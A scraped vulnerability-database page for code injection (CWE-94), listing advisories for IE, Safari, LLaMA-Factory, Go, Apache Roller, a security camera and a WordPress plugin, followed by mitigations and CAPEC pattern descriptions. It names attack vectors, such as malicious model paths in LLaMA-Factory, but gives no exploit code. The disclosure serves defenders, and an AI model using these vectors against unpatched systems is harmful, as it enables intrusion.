      "url": "https://github.com/QWED-AI/qwed-mcp/commit/362e61892052e250c56cb1ee852024d6f98c467b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/QWED-AI/qwed-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QWED-AI/qwed-mcp/releases/tag/v0.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "qwed-mcp has Unsafe SymPy `parse_expr()` Remote Code Execution via Unsanitized Math Expression Input"
}

GHSA-MW75-2Q68-55F6

Vulnerability from github – Published: 2022-05-13 01:07 – Updated: 2022-05-13 01:07
VLAI
Details

Microsoft Internet Explorer 6 through 8 does not properly handle objects in memory in certain circumstances involving use of Microsoft Word to read Word documents, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, aka "Uninitialized Memory Corruption Vulnerability."

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2010-3331"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-10-13T19:00:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Internet Explorer 6 through 8 does not properly handle objects in memory in certain circumstances involving use of Microsoft Word to read Word documents, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, aka \"Uninitialized Memory Corruption Vulnerability.\"",
  "id": "GHSA-mw75-2q68-55f6",
  "modified": "2022-05-13T01:07:44Z",
  "published": "2022-05-13T01:07:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-3331"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-071"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6832"
    },
    {
      "type": "WEB",
      "url": "http://support.avaya.com/css/P8/documents/100113324"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA10-285A.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-MW7V-292C-8697

Vulnerability from github – Published: 2023-12-12 03:31 – Updated: 2024-06-12 12:30
VLAI
Details

The issue was addressed with improved memory handling. This issue is fixed in Safari 17.2, macOS Sonoma 14.2, watchOS 10.2, iOS 17.2 and iPadOS 17.2, tvOS 17.2. Processing web content may lead to arbitrary code execution.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-42890"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-12T01:15:11Z",
    "severity": "HIGH"
  },
  "details": "The issue was addressed with improved memory handling. This issue is fixed in Safari 17.2, macOS Sonoma 14.2, watchOS 10.2, iOS 17.2 and iPadOS 17.2, tvOS 17.2. Processing web content may lead to arbitrary code execution.",
  "id": "GHSA-mw7v-292c-8697",
  "modified": "2024-06-12T12:30:39Z",
  "published": "2023-12-12T03:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42890"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202401-33"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214035"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214036"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214039"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214040"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214041"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214039"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2023/Dec/12"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2023/Dec/13"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2023/Dec/6"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2023/Dec/7"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2023/Dec/9"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/12/18/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MWC7-MF87-V3MF

Vulnerability from github – Published: 2026-06-30 15:30 – Updated: 2026-06-30 15:30
VLAI
Details

LLaMA-Factory through 0.9.5 contains a remote code execution vulnerability that allows attackers with WebUI access to execute arbitrary Python code by supplying a malicious model path in the Chat or Training interfaces. The application passes user-supplied model path input unvalidated into AutoTokenizer.from_pretrained() and AutoModel.from_pretrained() with a hardcoded trust_remote_code=True parameter, causing the Hugging Face transformers library to fetch and execute arbitrary code from a remote or local model repository with the privileges of the server process.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-58116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T13:19:18Z",
    "severity": "CRITICAL"
  },
  "details": "LLaMA-Factory through 0.9.5 contains a remote code execution vulnerability that allows attackers with WebUI access to execute arbitrary Python code by supplying a malicious model path in the Chat or Training interfaces. The application passes user-supplied model path input unvalidated into AutoTokenizer.from_pretrained() and AutoModel.from_pretrained() with a hardcoded trust_remote_code=True parameter, causing the Hugging Face transformers library to fetch and execute arbitrary code from a remote or local model repository with the privileges of the server process.",
  "id": "GHSA-mwc7-mf87-v3mf",
  "modified": "2026-06-30T15:30:45Z",
  "published": "2026-06-30T15:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58116"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/henrrrychau/08d76ec672f42136bbc1449c4f2973f8"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/llama-factory-remote-code-execution-via-webui-model-path"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MWFG-6WV9-379F

Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-08-05 00:00
VLAI
Details

Go before 1.14.12 and 1.15.x before 1.15.5 allows Code Injection.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-28366"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-18T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Go before 1.14.12 and 1.15.x before 1.15.5 allows Code Injection.",
  "id": "GHSA-mwfg-6wv9-379f",
  "modified": "2022-08-05T00:00:28Z",
  "published": "2022-05-24T17:34:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28366"
    },
    {
      "type": "WEB",
      "url": "https://github.com/golang/go/issues/42559"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/269658"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/issue/42559"
    },
    {
      "type": "WEB",
      "url": "https://go.googlesource.com/go/+/062e0e5ce6df339dc26732438ad771f73dbf2292"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/NpBGTTmKzpM"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd02e75766cd333a0df417588460f5e4477060633000bfe94955851fd@%3Cissues.trafficcontrol.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2W4COUPL3YVTZ6RTEIT6LPBDJUFF3VSP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F3ZSHGNTJWCWYAKY5OLZS2XQQYHSXSUO"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2022-0475"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202208-02"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20201202-0004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MWGG-25XM-CFPX

Vulnerability from github – Published: 2022-05-17 02:24 – Updated: 2025-04-20 03:40
VLAI
Details

The weblog page template in Apache Roller 5.1 through 5.1.1 allows remote authenticated users with admin privileges for a weblog to execute arbitrary Java code via crafted Velocity Text Language (aka VTL).

Severity
7.2 (High)
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2015-0249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-17T13:18:00Z",
    "severity": "HIGH"
  },
  "details": "The weblog page template in Apache Roller 5.1 through 5.1.1 allows remote authenticated users with admin privileges for a weblog to execute arbitrary Java code via crafted Velocity Text Language (aka VTL).",
  "id": "GHSA-mwgg-25xm-cfpx",
  "modified": "2025-04-20T03:40:42Z",
  "published": "2022-05-17T02:24:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-0249"
    },
    {
      "type": "WEB",
      "url": "https://mail-archives.apache.org/mod_mbox/roller-user/201503.mbox/%3CCAF1aazAPWTduVhrPr7WiFaspFdsh21yf0YiSB3UmLjtDVGnfXw%40mail.gmail.com%3E"
    },
    {
      "type": "WEB",
      "url": "https://mail-archives.apache.org/mod_mbox/roller-user/201503.mbox/%3CCAF1aazAPWTduVhrPr7WiFaspFdsh21yf0YiSB3UmLjtDVGnfXw@mail.gmail.com%3E"
    },
    {
      "type": "WEB",
      "url": "http://cve.killedkenny.io/cve/CVE-2015-0249"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/03/30/13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MWHJ-QW9V-2HJ2

Vulnerability from github – Published: 2024-02-02 12:30 – Updated: 2025-06-20 21:31
VLAI
Details

An issue in Blurams Lumi Security Camera (A31C) v.2.3.38.12558 allows a physically proximate attackers to execute arbitrary code.

Severity
6.8 (Medium)
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-51820"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-02T10:15:08Z",
    "severity": "MODERATE"
  },
  "details": "An issue in Blurams Lumi Security Camera (A31C) v.2.3.38.12558 allows a physically proximate attackers to execute arbitrary code.",
  "id": "GHSA-mwhj-qw9v-2hj2",
  "modified": "2025-06-20T21:31:55Z",
  "published": "2024-02-02T12:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51820"
    },
    {
      "type": "WEB",
      "url": "https://github.com/roman-mueller/PoC/tree/master/CVE-2023-51820"
    },
    {
      "type": "WEB",
      "url": "https://infosec.rm-it.de/2024/02/01/blurams-lumi-security-camera-analysis"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MWJR-QHM9-8W7V

Vulnerability from github – Published: 2024-12-21 06:30 – Updated: 2026-04-08 18:33
VLAI
Details

The The kk Star Ratings – Rate Post & Collect User Feedbacks plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 5.4.10. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-11977"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-21T06:15:21Z",
    "severity": "HIGH"
  },
  "details": "The The kk Star Ratings \u2013 Rate Post \u0026 Collect User Feedbacks plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 5.4.10. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.",
  "id": "GHSA-mwjr-qhm9-8w7v",
  "modified": "2026-04-08T18:33:46Z",
  "published": "2024-12-21T06:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11977"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/kk-star-ratings/tags/5.4.9/src/core/wp/actions/wp_ajax_kk-star-ratings.php#L84"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5dea49fb-2703-4754-9abd-5f4e526d5570?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

← Back to the CWE list